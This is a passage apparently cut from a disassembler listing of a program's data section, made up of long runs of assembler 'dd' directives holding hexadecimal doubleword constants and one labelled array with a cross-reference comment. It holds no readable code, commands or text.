5D0881CAh, 0B623DFF7h dd 13FD8D40h, 90659963h, 10C5E950h, 6F2EE1A9h, 26B19B34h dd 6D81E26Fh, 800EFB11h, 9B419340h, 0D80DC20Dh, 29DE667Dh dd 5186FF7h, 0A3B0D3E9h, 7A9316E8h, 0F5C1F2CDh, 44E3F63Ah dd 3216ADAEh, 1AA2136h, 8A47DE92h, 0F188702Ch, 7E593D12h dd 0C2385FEAh, 4A0A43EAh, 48DD560h, 792E882Fh, 55F202BBh dd 1E202237h, 132DD047h, 2CE143E9h, 0B64AFAA2h, 0A6FF0574h dd 0ABEC4E77h, 39B13686h, 4ED38131h, 8C455359h, 60489DB8h dd 99D0C2C9h, 16F7C9Fh, 2A1E2CF6h, 4C843E42h, 4995D4EAh dd 0EED55BD8h, 978B77BDh, 0DD7AB17Eh, 0DE95D816h, 0FF394782h dd 2158151Ch, 0A575E9C2h, 9FC13677h, 849F444Ch, 8310E1BDh dd 0DB1B5972h, 7E3BC302h, 7EDC2E97h, 586008A0h, 371B170Eh dd 0B0E1950Dh, 5D280444h, 889D5061h, 2BD441E8h, 17176D1Fh dd 50189DE2h, 7B0C2E81h, 881A4227h, 58140722h, 881713C4h dd 0ACB761FAh, 0D2246395h, 3124CECAh, 0F8D442A9h, 0B464857Ch dd 0CB89D1FAh, 50371223h, 0F9F752A2h, 0AE26845Fh, 0FBE511B2h dd 9BA3F384h, 0BF32A014h dd 0F74A00D5h, 0BCE909D8h, 5BD67E66h, 88D903E9h, 3A2538A7h dd 1F7ABA98h, 0ADE3B99h, 160AC042h, 3A4F51Ah, 13BCBC02h dd 0E50CDDF7h, 0FEDC9C4h, 2BFC64B7h, 27C8E465h, 0DF1F73C6h dd 0DC590E2Dh, 10DBE863h, 62B8000Dh, 2D77F96Ch, 9408007Ch dd 25D0F71Fh, 991F2B0Ch, 3F5F4041h, 68EDEB02h, 5D9AF520h dd 0E916D816h, 7389D618h, 0C2F2F801h, 0E2EA8000h, 3E5A56F0h dd 0B48B89EDh, 4EFD8DC2h, 3F4E9D33h, 0E0383509h, 0E405D7Eh dd 5204370Fh, 6BC0E91Fh, 426A3BE5h, 39C4683Dh, 27FCC7Fh dd 0EF933ECh, 0C35898E9h, 2D4E049Dh, 4CB85FAFh, 0BB441827h dd 0F55DDF0Ch, 40B2C635h, 0B3975FA6h, 0A8084B49h, 0D143B12Bh dd 87C2BE05h, 16D25556h, 2FC835A0h, 0A21EAA27h, 861FE779h dd 10C0297h, 48461C94h, 2A15CDE9h, 0F129FD44h, 2EF932BEh dd 52148DF4h, 151801F0h, 1CBA743Ch, 72890BA5h, 0BB52F705h dd 2C3FCC9Dh, 3E92172Dh, 460EF9BFh, 801C1DA3h, 0F3CF4DC3h dd 0D0636968h, 31BB073Bh, 0A507D66Ch, 308AB078h, 7B34D377h dd 0BE0022D2h, 67B75155h, 29CA0581h, 834D341Dh, 0E5E1EAE7h dd 3D056008h, 0FAA2D18h, 304D5D18h, 120C5B9Ch, 0F528B9F3h dd 4E24A789h, 0BD45FB57h, 0E1085692h, 0D4FA6180h, 1B8EA84Eh dd 5C096CAFh, 0B33A33C7h, 89FBE2EDh, 9616C556h, 0EC9EC458h dd 0ABE210A9h, 9905AC2Dh, 0EBFDC2E4h, 0C1077A75h, 6ED8F164h dd 2AA9F9C1h, 20A8A912h, 0A858FAA3h, 3AE95A46h, 0BBA8E3B1h dd 6DC7139Dh, 113F8F2h, 91508CDh, 4BD98706h, 33829D06h dd 5804CE51h, 683EDCFFh, 0D327B524h, 62920694h, 715DEA8Eh dd 6C1349B2h, 4E228C42h, 0C85604BFh, 0DFDDFBF6h, 6C40716Eh dd 68C3836Fh, 0AC781354h, 0A3CBBBh, 7C6AB8F6h, 2F28926h dd 0E955505Eh, 0C79BAE9Dh, 0F4379CD3h, 750976CFh, 0F9FF2C66h dd 0BAED3407h, 0D1F64B9Fh, 1583839Ch, 38A1685Ah, 2F6382D1h dd 1F09B2CCh, 572FBB3Bh, 5D1C4E2Ah, 8DC226C9h, 0F0DCA083h dd 81D5D377h, 0D0011FADh, 0D4C2F6D2h, 9330F729h, 2A4B2D68h dd 17C8B58Ch, 0F41FFE41h, 27CBB86h, 0B8E9440Eh, 64FE17CCh dd 0EEBB1756h, 2482DA39h, 0C780FFB4h, 7234E7E0h, 948BED99h dd 0A5BFD3D7h, 569D38F8h, 4A5E720Eh, 887661C0h, 3F0DB80Bh dd 135C78F9h, 11DEC302h, 45C10FD4h, 45BA00B8h, 2D4A2710h dd 0A01C2075h, 0BFB759BEh, 0F90A0452h, 91465FE9h, 2D5EF080h dd 590A1E4Fh, 7A135315h, 0B88A90FFh, 4E5F1843h, 80D261F1h dd 0E1787293h, 4584C19Ah, 7B404A70h, 80001F5h, 0B14E21E9h dd 80020221h, 40F7A6F2h, 96CAFE71h, 51505850h, 0B8EECFA6h dd 33552A00h, 5E02057Ch, 56390E63h, 22C4FCBEh, 0BFB5BE6Ah dd 0F9154F41h, 1B13EC7Dh, 0C565AED6h, 4BC8EB01h, 43A357Eh dd 101F48D2h, 97EA8012h, 0B6E3C4Ah, 0A1E9C201h, 0BA388C72h dd 1E34162Eh, 5A674BBBh, 1655206Ah, 844F3042h, 5BA0B90Ah dd 310A6C09h, 862286CFh, 0FCEFAA7h, 8972974Dh, 8B89E9B2h dd 7F54E2B0h, 0A4F634E6h, 12A36E59h, 2EA22FF1h, 0B1B2FC92h dd 0DA6CE7E9h, 534F9F76h, 1FBC8F17h, 0C5D7A9B2h, 0D4880B2Ah dd 0F80DD705h, 54A74EB4h, 0D2E1B95Ah, 365739FAh, 5BB65C6Ah dd 0CEF522ECh, 1C8A44DAh, 0CA00DBAh, 0E23067E7h, 64B53C7Eh dd 30FB422h, 2F3E3618h, 0F49B6001h, 0F5892D7Dh, 93D8B3Eh dd 590123C1h, 18708920h, 0FC2D0ED3h, 0FE765879h, 2699F781h dd 1701DE5Dh, 0A2A840F4h, 20180E48h, 37C1E3BFh, 178F1B1Dh dd 0C98305BEh, 1BB3954h, 3ECA6264h, 0EAF2CF29h, 99FD0889h dd 1D6A2A6Dh, 5975F245h, 0E2288287h, 807D48CDh, 2FC9817Eh dd 0C270970Dh, 5AC9F85Dh, 6E42B0h, 5D5FEC3Bh, 6853C331h dd 2B42F724h, 2DBB5665h, 10AB7988h, 29481F9Dh, 0AD42C125h dd 330A2055h, 0BD1BE01Ch, 0BB0057C2h, 2207677Ah, 0E5A1015Ah dd 0E95F0800h, 0C81361BFh, 0CCA7E680h, 0ABF602F6h, 13766049h dd 27CC15BBh, 0B00B4CB6h, 0FC07BE5Ah, 7F2916E9h, 95D34692h dd 11524B0Eh, 9C1E2101h, 4D32936h, 495A0809h, 186C107Bh dd 813BB85Bh, 141C7FE8h, 8F5246F9h, 661F6188h, 0B1343C25h dd 6E4D1E15h, 8D656631h, 3E48CCC1h, 0E5209E87h, 9558E230h dd 0B38EF4FEh, 87DC0B29h, 51EB8820h, 17FCACB9h, 5A61DC3Dh dd 165F292Fh, 545625F1h, 0F5D20B56h, 0A29EBDC2h, 70B0F7CBh dd 0C62D05CDh, 626CD319h, 83C48FA2h, 85E95712h, 62ACDFC2h dd 0FA727748h, 8213D45Ah, 89A4F3F8h, 0E8B67F02h, 41F8B880h dd 530B6799h, 0A3C13FE9h, 2F20997h, 4114CAD8h, 4A4038F3h dd 5518227Bh, 0C21F012Dh, 0D6021D39h, 3084BC57h, 0A1052A94h dd 63B12A4Bh, 1702F62Ah, 9466CE2Eh, 0B43F90A8h, 0DD615290h dd 8FD4282Eh, 0DC53295Eh, 0B5967DFh, 0A3123982h, 6425BA00h dd 3D6B0C2h, 0D85675EAh, 0B19BE928h, 0B9F3EA84h, 61B3B74Eh dd 514422CAh, 54A66A20h, 3CF7834Fh, 56AF93D0h, 0DBE7DF48h dd 18DF1A16h, 94486B40h, 5FFA31B9h, 59FFD5Fh, 1E883221h dd 8805E982h, 3902A007h, 4311EB71h, 165DD912h, 59E5D671h dd 65F55F81h, 25572151h, 0A8ADFBE0h, 7D9976DBh, 2F33CC2h dd 6C3F888h, 0A3B7C6A3h, 0D8D2585Ah, 96567A41h, 3DADC75Dh dd 0D9F1BF7Fh, 0D88AE9E2h, 5455256Eh, 0D376CF7Ch, 95E2B341h dd 0E9EAC189h, 0DA50FC5Ch, 0E5CD881Dh, 0D74575F2h, 405BE989h dd 27685FE0h, 38D66B15h, 9F665E51h, 28172C07h, 0AB96CED8h dd 9EFF8513h, 25644C4Ch, 3CE5263h, 0F7EAD107h, 7EEA4AD2h dd 0E601F6F9h, 5E4F2A2Fh, 4A9EF27Fh, 922DE7B7h, 0AB5B9F84h dd 680CC8F3h, 86D33F61h, 72316540h, 891F1CDh, 3E084587h dd 0D27E83E2h, 0F1FC0921h, 0CF09A7Dh, 278057A4h, 16D52DEEh dd 31F3012h, 1C49CAFBh, 9122A724h, 2837EB02h, 2DF2DCFAh dd 680485F3h, 0D8AB321Fh, 255BFFB8h, 5417898Ah, 0D1427159h dd 5FC8775Ah, 0FFE23D84h, 0F9DB22C5h, 0FBED4A3Ch, 0DCEB800Fh dd 7E6328CBh, 68BE624Ah, 0EB4F700Fh, 9F82F598h, 4E5D278Bh dd 0A00EB43Ah, 43025080h, 0BB63409Eh, 0B511702h, 822D6874h dd 49EAE0Fh, 2CB8AD58h, 48B85525h, 662E0234h, 0DA422868h dd 6290EEA5h, 7BF03F6Fh, 80C7FE00h, 904970EFh, 2CF5E1D6h dd 795A66D4h, 0ED681728h, 0B276300Fh, 0E239C027h, 3EA9608h dd 99E5B8F0h, 6C688580h, 6167AB07h, 18DC48A0h, 94050558h dd 0AB168E34h, 0E1E93602h, 452751E0h, 0E59C31E2h, 0EDBC3BF9h dd 0F6BA8BDEh, 16B89FC4h, 17824DB7h, 5AB8C0D4h, 0A10BB151h dd 8DF5F180h, 520DD05h, 9A3A146Fh, 0F020A433h, 0B1250D98h dd 4309F20Ah, 0E4125037h, 70226D4h, 799655FDh, 0A84E23B2h dd 6642EACBh, 5B2ED5FFh, 0D109C888h, 2BC80E0h, 0FA613CFCh dd 389C6B77h, 0F736605Fh, 89799FC7h, 791CBB43h, 0E9D916D5h dd 0A032BC9Bh, 0CE665A68h, 0EB535FF9h, 0ADECCF25h, 0DAF465DDh dd 46E7D75Ah, 0D52F0922h, 0EB8E545Ah, 2042D65Ch, 0CA10DDD3h dd 848E7C1h, 0C8192F8Ah, 0B7DCA4A0h, 0E9A03279h, 49685817h dd 0E03460BBh, 0EAB08F79h, 201EBD00h, 5045612Fh, 1C7E16B8h dd 0FA6212C3h, 3ECD9107h, 1EB03F44h, 0C1272FCCh, 0E300D3F6h dd 9EB0B6Ah, 9E5D50E9h, 0A7422AD3h, 23780097h, 0EBC11A38h dd 0C225E902h, 0C5246BEAh, 0B47EDAE5h, 0C7AB3098h, 0B2E3EF5Fh dd 0D018FE96h, 9C11854Ch dd 206D821Eh, 8AFEED31h, 1E01A526h, 89A8A4D3h, 1F01A445h dd 5980151h, 4A9E52Eh, 7C3CCB08h, 0E422F960h, 0A91EAB19h dd 0E42C5FA4h, 0E9855F59h, 8D17D599h, 2A60E961h, 53E3A14h dd 28E319EBh, 3E1FAB00h, 4D3144C2h, 8790B9C6h, 0B9D0012Dh dd 729D2116h, 4EFA01FBh, 0C25216E9h, 28606256h, 23B7E2Ch dd 0E955DFF7h, 20DF5FD6h, 1317621Dh, 1A35BE45h, 83C10F66h dd 8F3379C1h, 92A3F357h, 407DBA10h, 2A1E1DDBh, 0FACC461Fh dd 39501662h, 264CF088h, 25C87D75h, 1451E6A0h, 7B3CCE6Ah dd 3A02F09Fh, 20DA1828h, 0C021AB30h, 91D11F50h, 54454300h dd 0B1D712Dh, 0E829145Ch, 5D010705h, 0FDED9035h, 0D8097FB4h dd 1283DC01h, 0B50BFA4Fh, 5600DF47h, 2DC00A9Dh, 0B22CA07Dh dd 58108D06h, 30CEA5Ah, 3CD2063Ch, 0CA02DAF6h, 9093E913h dd 0C04CFC69h, 317F6812h, 0F2815B00h, 409A20ADh, 5AD32C21h dd 0BE4314C6h, 7F5D3903h, 7A054F4Bh, 6E286C8Ah, 4605B9B9h dd 0E886D096h, 0D652166Dh, 17CF7ACCh, 119A371h, 6FEA3DC6h dd 0A6B74033h, 6C5AC56Bh, 81F10ABh, 27A75F24h, 1069BF2h dd 0E517E9DAh, 4FD77755h, 565600C1h, 1E087768h, 365E1F30h dd 2D716278h, 2C575248h, 19B9A293h, 0CC73FB6Ah, 829FC571h dd 835413CBh, 0F8E07526h, 7B78D705h, 2D1476DEh, 5E097C07h dd 55291C1Dh, 609D686Ch, 82CB370Dh, 0B3028950h, 89344D76h dd 0EFA641F1h, 3D0B3E36h, 0EE00FA11h, 3440FE1h, 0EBA7748h dd 0F9316370h, 3A8FF0Ch, 6A8B02DFh, 0CD891BD2h, 310EB870h dd 846BBA5Ch, 1EA5EF5h, 0E4532677h, 69927AFAh, 0B82E0CF3h dd 64295130h, 47F23E6h, 48E93B80h, 774909F6h, 2218C760h dd 6840B105h, 0A5D86057h, 0F4BA414Dh, 0E5136396h, 0F9165828h dd 0C144E8C0h, 0E92F0BF7h, 0A2798936h, 3B6BF183h, 0D067E965h dd 4A80B33Fh, 0D901FCF8h, 0BF28E161h, 6FF6CCE6h, 0DF06314Eh dd 625866E7h, 52110C1Ah, 0C5C73BE3h, 0A1CAC103h, 0DC59029Dh dd 70888940h, 0C11F5FCEh, 119603E2h, 309DA55Ch, 25A47ADFh dd 9F89CD9Fh, 0BD9C5FDAh, 0C2DD5A0h, 0C114DA01h, 95E907EDh dd 0EA4C402Eh, 73D03DF9h, 1C09DBFDh, 570106CAh, 4881DA9Ah dd 202F67A2h, 0D36C7ECDh, 2F68A279h, 0C7466454h, 7015602h dd 0F0CCE977h, 0F32D05CBh, 0AF45D23Eh, 5B39B4D8h, 4A9DB3B8h dd 93FE405h, 9CC0C6h, 5FB32B52h, 61E9D689h, 0C243EB9Dh dd 893A9B4Eh, 0B340425Ch, 50344784h, 3BA0CD50h, 0EC4A6207h dd 0B6E612DEh, 0E20402FDh, 8063D232h, 2DCD2274h, 0EAB19C5Fh dd 2F6BD93Bh, 542288A0h, 0CF2A65Ch, 1F43512Bh, 46180E0Ch dd 3CB81D6Dh, 0AAF9B886h, 164AFDEDh, 0C588A5C0h, 44CC99Dh dd 896DE101h, 775DEEC1h, 0B85A7949h, 8BA15E9Ch, 95CA68F0h dd 3FB0EED2h, 1670DD82h, 8C6F197h, 5F13C376h, 123152AEh dd 2BD9E5D5h, 9A13B1E2h, 3468FE21h, 2E3E30E9h, 75E8F5E5h dd 0D16BEB0Fh, 5F811CEDh, 8935FDB2h, 7BFAA441h, 165BCE6Bh dd 0BFF794F5h, 110BBD5Eh, 0B25C2A1Eh, 0BE664203h, 0A0F15A63h dd 4E438870h, 41762535h, 0EC5C996h, 59278FBFh, 0E90D042Ah dd 15D19E78h, 7FCD7DFDh, 9D74DBE8h, 0A6241579h, 0F5E47909h dd 5F2AA094h, 5398C039h, 5C400B58h, 0F8680285h, 41489441h dd 5D69FF04h, 0EF6C902h, 1E606519h, 532D2F35h, 2DD6C26h dd 748001B3h, 0AD40E8C1h, 6092FDB1h, 19053E25h, 406BF992h dd 5E29C50Eh, 589FC886h, 0B43D4BA9h, 1132C383h, 75080858h dd 1B6ECC22h, 0CD360009h, 513001DCh, 6E418278h, 0DF403F2Eh dd 0F9A704D3h, 62A07021h, 0BB5E4A08h, 0B73F4D06h, 0FD4F281h dd 291AE023h, 3754A98h, 244E83Fh, 712B04CEh, 0AFC2604Dh dd 0F892796Bh, 8F101F6h, 0B5E91E70h, 0D0D352F2h, 5996761h dd 57C22A82h, 5F9809DAh, 23CAA0Bh, 0EEA70017h, 7D5A9533h dd 0C0584F50h, 0DDF75F96h, 0DCC0D5E4h, 7AA97441h, 0C616D94Dh dd 7BBFE4DAh, 84D54297h, 85A85228h, 351278C0h, 0FD30E93Eh dd 1CC3DF21h, 34972E7Ah, 7FE9C2DFh, 82908E70h, 0B3207290h dd 500092FDh, 0BB30C450h, 63C88FE3h, 2CC03C4Ch, 62173E18h dd 255E100Ch, 967D61B8h, 9553BFEDh, 56730503h, 0CC38044Eh dd 0C4267C18h, 0B8CF9074h, 0C52541A1h, 8C62E008h, 79500118h dd 141B7735h, 26B06B1Ah, 2DFCE8B8h, 610194FBh, 92D219E9h dd 88AA5C6Eh, 949CB507h, 5A015712h, 12737641h, 345A5830h dd 0F1143BDh, 0D1E00EAEh, 0E9FD297Ch, 0B530259h, 575BD901h dd 2A03196h, 0BB2F6CC0h, 279FFE49h, 870A22DAh, 0BE4BBF5Fh dd 0E5042A03h, 3BF3B06Ch, 20EB2F03h, 360C44F2h, 1C4DC66Dh dd 862C18ABh, 5CD40CAEh, 0ED60FD2Eh, 0C27D76AFh, 0E562A36h dd 0F6E46EEFh, 8D201F9h, 290E9EE1h, 0B5BFE4DFh, 673F61CFh dd 0E1B4344Ah, 26606B91h, 387E1649h, 0DAE04372h, 3736E5CBh dd 0E9156079h, 4F977873h, 12D7A1E0h, 0A306B168h, 0D82FD7h dd 91055972h, 48642729h, 0C72D3F45h, 0B147B4CFh, 16B57981h dd 1A94B09h, 0BD52DCD2h, 0D5D3009h, 3E0B8279h, 0D1DDC066h dd 594EB6E5h, 49D72ED3h, 0E02F9060h, 8F6B83Dh, 4A035385h dd 50103838h, 0B0EEC8F7h, 40BEEC5Bh, 6CD8C516h, 99FACC31h dd 5EB3C097h, 0EBB80050h, 0D6F1C34h, 0D07E3A2Eh, 0AD60E914h dd 0F68E0C9h, 3093CB3Eh, 6A5215Ch, 0F40AFB02h, 0E9055BB3h dd 0C02E0796h, 736E04E3h, 0A5C3BF02h, 2C1E4030h, 0D7E92FEDh dd 0DF56B6A9h, 0E5392F69h, 0CBBAF12Ah, 0BCE84BDCh, 0D441FBD2h dd 57A26853h, 56026A66h, 5A764C37h, 15A40E7Eh, 0F9019202h dd 4349E016h, 2C8D2603h, 11F02F6Ch, 20654548h, 0FF5F163Fh dd 0C84C3377h, 9FDA194Ah, 0E1B61861h, 719170F6h, 1741885Eh dd 6ED99FCAh, 0DDA0DDECh, 0B370A717h, 0BD2171h, 0F1DF219h dd 685B8AAh, 0C26FA2EAh, 10C0BE74h, 0DE18D173h, 0B7E59F29h dd 22E302BBh, 0E176BB6Dh, 178127AFh, 4C419CC1h, 58C99674h dd 1F1052A6h, 0D85B27DBh, 2C314C4Bh, 94CCAC4Bh, 24C45E90h dd 2C441E8h, 98B201BFh dword_4F0044 dd 0CAC9C2FEh, 0A2FD5EDh, 588C5E62h, 3B13BBBAh, 48F219A6h ; DATA XREF: ___:00437A34o dd 11477C2h, 7283C40Eh, 0A7133FC5h, 17EF8FAAh, 4F57F7E9h dd 29213E8Ch, 0ED91C4Fh, 0E6DDC97Ch, 0BE7F2DFDh, 0A75E97B1h dd 7F48001h, 0E028E320h, 0E9C3FEA0h, 7208742Dh, 0F8EB0151h dd 295B4A3Bh, 0F5086AFBh, 8A0114F7h, 419A432Eh, 0FF1149EFh dd 0D2F7D69Fh, 997D0882h, 6E112985h, 0B0648010h, 0F6C8FE80h dd 0AE04DDD0h, 90490836h, 53C1080Ah, 0E9D9F6E0h, 1C80B5A7h dd 0B4189ABFh, 0EA053598h, 0D6E7E77h, 61B78401h, 0D46F6891h dd 1C081A58h, 1A72140Bh, 0FEED1820h, 3E38FB29h, 466BC9C1h dd 9DDE4038h, 29608D04h, 6235E1D2h, 5C317C0Fh, 0C47EE65Dh dd 0C34AD818h, 0FDE50167h, 0C29A2D1Eh, 0A4EE7DB1h, 5ECA0444h dd 5B738BBDh, 666D9729h, 0DB801048h, 0C6F4850Fh, 0A024D3h dd 0B1B934h, 4B2DC5F3h, 0CDB06847h, 3A0F47A9h, 0EFBBEE00h dd 0B044CD4Fh, 2E659779h, 3DC76884h, 423839BFh, 0B60239C3h dd 0D69A4112h, 1634BD00h, 0B9217D01h, 364B3E7Bh, 5DA9256h dd 2EDE08BBh, 9CE20629h, 8798AB2Fh, 0C926312h, 0E081A8B8h dd 2B079B6Dh, 0E24BFDE8h, 0B1E9C272h, 886BFC0Bh, 0C2825905h dd 40C0080Ah, 51EA33h, 0ED3E31B9h, 2E1C130h, 0BB624160h dd 0CFB2F4F0h, 0A544A730h, 40E6B918h, 0E9175908h, 4A900B55h dd 5AA457C7h, 72FBB002h, 665E309Ah, 0B4A11BE9h, 0C7287E8Dh dd 0CD645E9Ah, 4207E491h, 0B8EE29C0h, 5DEB71B9h, 0C0C43956h dd 2CF6FFE1h, 0C3685001h, 604F457Fh, 7941BC2Dh, 952C55ECh dd 13C0E09Bh, 0E91B6680h, 0DC258AD2h, 0AD6E66A1h, 0F91AF406h dd 5980037h, 981F403Ch, 0F0EA0687h, 1A436C50h, 1709F23Ch dd 0F71F21F8h, 2F43F7DDh, 0DA317632h, 1829DC5Fh, 9FBBC8DFh dd 54263F13h, 407DA7ACh, 0C5BF5F1Eh, 1C0E8019h, 0DCE9728Eh dd 0FD2F89BFh, 0BC27D018h, 9D5D5480h, 0E9E10079h, 1787193Bh dd 816A3CEBh, 61F30161h, 0AF0814D2h, 0B219DF04h, 0BCD7F705h dd 0EC15C6Dh, 0DE6CA051h, 2DCED540h, 4BF6E9B4h, 0D86BF9FDh dd 2703AD54h, 905F4851h, 12C529EDh, 2831D6E9h, 1C2D880Ch dd 62AEF187h, 71DFBBB8h, 1804A73Dh, 0BF0E805h, 3E3C1h dd 0C3154E94h, 3A199416h, 222D6C85h, 9881AF2Eh, 3B58CD5Fh dd 40E72568h, 0A04A0AD3h, 9007A100h, 6408E96Fh, 546E95D0h dd 1B270BA6h, 828E7705h, 1F666382h, 2B5012C1h, 0F54D0C0h dd 0E9091260h, 0DA844Ch, 80A691A0h, 0FE502187h, 846FC6FAh dd 0F201A452h, 0D295A6BFh, 8F5BA3ACh, 24E0492Dh, 20389BB5h dd 0AEBD07C0h, 0A5774829h, 9F60BAF8h, 9401B668h, 0D796629Dh dd 0C113B2F7h, 57C2D917h, 21EB64F1h, 0CA09E922h, 210D223Eh dd 0ACD0C5D7h, 0A02E4CEFh, 64EF3D9Eh, 99F45022h, 2F77BE95h dd 0C80B209h, 383F451Bh, 1BBC425Ah, 1544B574h, 0E91F0462h dd 3487048h, 5846852h, 6D96CCEh, 0DE113913h, 92D6B6D7h dd 8DB00F7Ch, 0C8E950ABh, 0B9B04h, 7B932558h, 35470FEDh dd 71C91B01h, 0B1C73BE3h, 0F4221A0Eh, 26127DC4h, 29B0312Fh dd 0C0BB92A6h, 1CC4052Bh, 0F2FB2316h, 13DE1DCh, 65140267h dd 0A1FC900Dh, 0B3C9038h, 41345D7Bh, 0D0BF6EF0h, 65FD0EB1h dd 0A8A02977h, 90CCA38h, 0E53E0795h, 4A593901h, 0B6850429h dd 0D7DFF83Bh, 2D0231A9h, 3C9129E2h, 7C088FFh, 68575B01h dd 8E3647A9h, 0B6055F8Bh, 7DDFF18Eh, 0CECA10ADh, 4026543Fh dd 15E85FCh, 30AB01D9h, 2A367C6Fh, 0E18BEDA9h, 932D53FCh dd 27D9C862h, 0E94816B9h, 25BAACC4h, 94CB1658h, 283C02B7h dd 627D7AAAh, 3AEC774Ah, 364E7E04h, 44EF5927h, 16E53E3Dh dd 4138F142h, 0DF8A49B9h, 0C7011989h, 0BAACCE55h, 0D2F0176h dd 0CA814629h, 7A19D9D6h, 11EAC82h, 0A880CB28h, 0AA2C5D58h dd 3409E2Dh, 2D09307Ch, 0DC18E801h, 9E3DBB53h, 21AD12h dd 347C05E2h, 104462A0h, 0B0F0A9E9h, 52B8DEFEh, 97CAF607h dd 68E2BDC1h, 0A5B800D4h, 514B5A23h, 3D31EEE1h, 410A81E3h dd 529BCD2Fh, 1CC408D5h, 9DB90B20h, 0C743E641h, 0F4CDAC02h dd 0D7316E80h, 75D0204h, 9D74D1F6h, 0AAEC15D4h, 41FA1118h dd 0E39F5BDAh, 5AE47011h, 93C1A056h, 67991726h, 853CF10Bh dd 4FE1F8Bh, 207CDB0h, 7420C4B7h, 85B203CDh, 0CF99504h dd 0C42B7CFBh, 8213C173h, 9E08C0BCh, 3F31D807h, 165B0117h dd 0C15B5E1Eh, 6834A6E3h, 0D7FD932Ch, 2498984h, 0AB673268h dd 30F1403Ah, 0EB2285Ah, 7C350BDh, 9BFB34E9h, 62498085h dd 2BA7321h, 1EE1B180h, 33D38924h, 992D6480h, 0C0DF31FBh dd 6020F748h, 0DB9D1C96h, 0D7862013h, 0BE70EF54h, 0B5E2685Ah dd 0EF5F3D8Bh, 0E95C8250h, 65DDB22Ah, 542D3ED2h, 56B905h dd 0F377829Eh, 0DE7E890Ah, 0B1AA8C79h, 2F7195DDh, 0E9E2C154h dd 1CE8FF16h, 6E126CBDh, 98B1366h, 4C0D8410h, 8CEBB40Ah dd 0BB32E9E1h, 57FA3926h, 3831BC19h, 0FB2C4A92h, 0DCEF31E9h dd 0CAD68786h, 46987FEh, 3EDBEECh, 8599607h, 6D9C9F3h dd 0C1BBB542h, 3A75EED5h, 90407D38h, 0B9F0C007h, 22677B1Ch dd 1562ECF4h, 0CB7667Bh, 652CA7C6h, 0C60048ABh, 66B7164h dd 35D231E9h, 2C91F181h, 0E8D816E5h, 0AC6F3BB3h, 1053C62h dd 242B5FEh, 6232F470h, 0A50F9328h, 0DC986F6Eh, 0BB1B4022h dd 0EB3D4509h, 45A77F0Bh, 53D1E2E4h, 0F026EBDDh, 4E20D93Ch dd 0D6DA0C5h, 0D40F351Eh, 3B98E944h, 0E4162514h, 0B72FA8DAh dd 140C12D3h, 9360EDD1h, 0C3FE3479h, 2414F404h, 0E1DB0381h dd 992E082Fh, 2E3A840Bh, 28ABEF88h, 0E73ED05Ah, 80029DC0h dd 0CFFEA841h, 0C7DCD7F6h, 730404BAh, 0BBDAF9E9h, 0E62AC1E5h dd 0F8522E63h, 5720F31Ah, 0EA0907C0h, 645B78F4h, 0E9010395h dd 610856B7h, 7C5C8940h, 3A445C71h, 38D5DC25h, 0E0ACB6AEh dd 4E2790F0h, 2F23E860h, 0A7B5EF5Eh, 60258B16h, 25932045h dd 0BD12BF6Eh, 575E4B60h, 449C5898h, 0AF22752Dh, 0BF03B636h dd 4B73F1BBh, 0D6A7453Fh, 0EA3C745Ah, 42B82A44h, 0A79D63E2h dd 0FDA1905Dh, 2C31094Eh, 0AF85DAF7h, 2C91CA03h, 6D89FA54h dd 0CE475CEh, 0ABB6C14Ah, 2376BE92h, 0D0CF8A93h, 2BF49DF8h dd 55DCF562h, 0F81F817Bh, 54F01816h, 0B0C27288h, 0E1C54E42h dd 1FF82EF5h, 742949B1h, 4CBD5D44h, 25A9321Eh, 62D58F0Bh dd 9A3CD59Bh, 539D1CE8h, 1E4AAFCCh, 97F93082h, 1371E577h dd 848B5338h, 0B7B001F8h, 0F87A167Dh, 659DD781h, 784604CAh dd 54B1EA1Ch, 9FC00704h, 40031FF6h, 1B7D7F6Eh, 0B3E93B5Fh dd 6C3A1507h, 1D41570Bh, 0F3D6F54Ah, 9D6DDDAh, 0C708549h dd 0DB9731BEh, 3C843279h, 509025FFh, 0CBC5B42Eh, 913794D8h dd 6F60B1BCh, 0D403C52Dh, 710F5C80h, 4D1FCFFBh, 21CDA36Ah dd 0AD982A25h, 0C0B80BB0h, 897708E0h, 0F014020Ch, 9818E388h dd 72045AD5h, 13487012h, 0A03FE9E8h, 0BC04BEB0h, 29267E10h dd 9F50F0ABh, 7D75B52Dh, 0E95DC900h, 0A491FC51h, 163BBF00h dd 0BC781B6h, 36115B46h, 0CFE688h, 3F350953h, 0A227E945h dd 9D9AD5C8h, 0BDF7A84h, 0C27BDE59h, 0B900A2D9h, 500612F8h dd 18F5C539h, 0C161C79h, 891A3435h, 61942966h, 5EB1DD70h dd 8B4C640Ch, 3E3C13Eh, 0C822CB07h, 60F70F97h, 7FD598D3h dd 0F09D6109h, 31503BDh, 26E92C5Fh, 0F9BA2EDh, 0BD55575Dh dd 80C78309h, 80A4F74Bh dd 0E9E61370h, 0AD45530Eh, 5D1704A6h, 0D0BA404Fh, 88194E74h dd 0EDE92B13h, 0D286F7A0h, 0B010AA2Ah, 29175206h, 0C701F91Fh dd 6FF37307h, 1F1BE7D8h, 1F321E76h, 0A220BEFh, 0CA6B1502h dd 0E96E2107h, 0AA83D8D0h, 8D1DFDE1h, 0D4ADE909h, 725627AAh dd 5DD37DD2h, 0CAAB4596h, 215A1C30h, 0D71ED727h, 83E719Dh dd 66A7B38Dh, 0F2554E55h, 0AB84D31Eh, 7F8752A4h, 0BAF609EEh dd 51FE5F7Fh, 5383011h, 7B0A570Bh, 3575F5F0h, 59849BC4h dd 76EF0735h, 0BE5B055Eh, 164B4F05h, 1FBD40EFh, 305AD728h dd 105BF83Fh, 0C72E8499h, 0DF0ABB9h, 3096FEA2h, 0F2407ED7h dd 20641FB1h, 0AAF7D2CBh, 0BF31F188h, 56970352h, 0A8CE727Ah dd 0B7A2228h, 0C7F6A09h, 0D5A8D754h, 20E90508h, 5954BEC6h dd 57F20374h, 0B7E520Fh, 0B3E90212h, 1F68FBA0h, 647A3E2Bh dd 0DE6ABE25h, 8131E5F3h, 52A29D2h, 6151BBAh, 0DCD14FE9h dd 4340DF87h, 0EF3D58E9h, 9F42F79Ch, 725B6AABh, 5779F00Bh dd 0D98629Ch, 256FEB01h, 2DE94B2Ch, 0EEEB27FFh, 0B6F6335Ah dd 8296934Ch, 0DFF02887h, 0B9F1F14Bh, 6312B3Bh, 943857D7h dd 0E863B205h, 7DDD0905h, 5874CA50h, 76E888BDh, 0C1215D42h dd 0A42A7369h, 859CEB1Ah, 7DDCC14Eh, 63E41F7h, 64E74F80h dd 